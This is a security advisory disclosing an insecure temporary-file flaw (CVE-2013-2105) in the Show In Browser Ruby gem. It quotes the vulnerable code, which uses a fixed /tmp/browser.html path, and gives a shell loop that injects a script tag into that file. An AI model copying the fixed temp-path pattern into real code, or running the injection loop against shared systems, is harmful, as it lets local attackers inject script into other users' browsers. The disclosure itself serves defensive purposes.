VDB-ID: 100
Title: Show In Browser 0.0.3 Ruby Gem /tmp file injection vulnerability
Vulnerability Date: 2013-05-23
Download:  https://rubygems.org/gems/show_in_browser
Vendor: Jonathan Leung
Notified: 2013-05-23
Vendor Contact: me@jonl.org
Description: Opens arbitrary text in your browser.
Vulnerability: The following code uses the temporary file "/tmp/browser.html" insecurely.

2 FILE_LOCATION = "/tmp/browser.html"
3 
4 class << self 5 6 def show(html)

7       file = File.open(FILE_LOCATION, 'w')
8       file.write(html)
9       file.close
0 
11 `open #{FILE_LOCATION}`

By a malicious user creating /tmp/browser.html first and repeatedly writing to it they can inject malicious html into the file right before it is about to be opened.
CVE-IDs: 2013-2105
Exploit: nobody () pitter:/$ while (true); do echo "<script> alert('Hello'); </script>" >> /tmp/browser.html; done

Will pop up a java script alert in other gem users browser.

URL: http://www.vapid.dhs.org/advisories/show_in_browser.html
Credit: Larry W. Cashdollar, @_larry0